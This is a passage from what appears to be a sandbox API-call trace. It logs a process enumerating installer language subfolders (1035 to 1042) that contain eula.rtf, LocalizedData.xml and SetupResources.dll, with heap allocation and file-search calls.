ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0063.340] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.340] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583288 [0063.340] FindNextFileW (in: hFindFile=0x583288, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.340] FindNextFileW (in: hFindFile=0x583288, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.340] FindNextFileW (in: hFindFile=0x583288, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.341] FindNextFileW (in: hFindFile=0x583288, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.341] FindNextFileW (in: hFindFile=0x583288, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.341] FindClose (in: hFindFile=0x583288 | out: hFindFile=0x583288) returned 1 [0063.341] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.341] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0063.341] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583048 [0063.342] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.342] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.342] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.342] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.342] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.342] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0063.342] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.342] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0063.342] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.342] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.343] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.343] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.343] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.343] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.343] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.343] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.343] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.343] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0063.343] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.343] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582e08 [0063.344] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.344] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.344] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.344] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.344] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.344] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0063.344] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.344] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0063.344] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d88 [0063.345] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.345] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.345] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.345] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.345] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.346] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0063.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.346] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0063.346] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.346] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582f08 [0063.346] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.346] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.347] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0063.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.347] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0063.347] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.347] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583248 [0063.347] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, 